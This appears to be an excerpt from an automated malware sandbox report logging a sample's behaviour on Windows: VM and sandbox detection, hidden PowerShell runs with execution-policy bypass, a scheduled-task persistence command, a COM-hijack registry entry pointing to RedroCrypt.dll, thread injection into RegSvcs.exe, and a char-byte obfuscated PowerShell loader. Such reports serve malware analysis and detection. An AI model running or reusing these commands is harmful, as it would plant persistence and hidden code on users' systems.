Source: RegSvcs.exe, 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4245	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5639	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4958	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4855	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 9299	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 555	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9457

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4216	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6696	Thread sleep count: 4958 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6696	Thread sleep count: 4855 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5316	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1960	Thread sleep count: 9457 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2472	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6764	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: ModuleAnalysisCache.2.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: wscript.exe, 00000006.00000002.2367207456.0000024CAC751000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegSvcs.exe, 00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: RegSvcs.exe, 0000000D.00000002.3429100433.0000000005A50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.2371650540.000001CC6F1F7000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.3429100433.0000000005A50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe EIP: 1390000			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe EIP: B70000

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 1390000			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: B70000

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn "Cloud OneDrive" /tr C:\ProgramData\Cloud\cloud.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[c
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[c			Jump to behavior

Source: RegSvcs.exe, 0000000D.00000002.3433155350.0000000006F1B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Program Manager

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
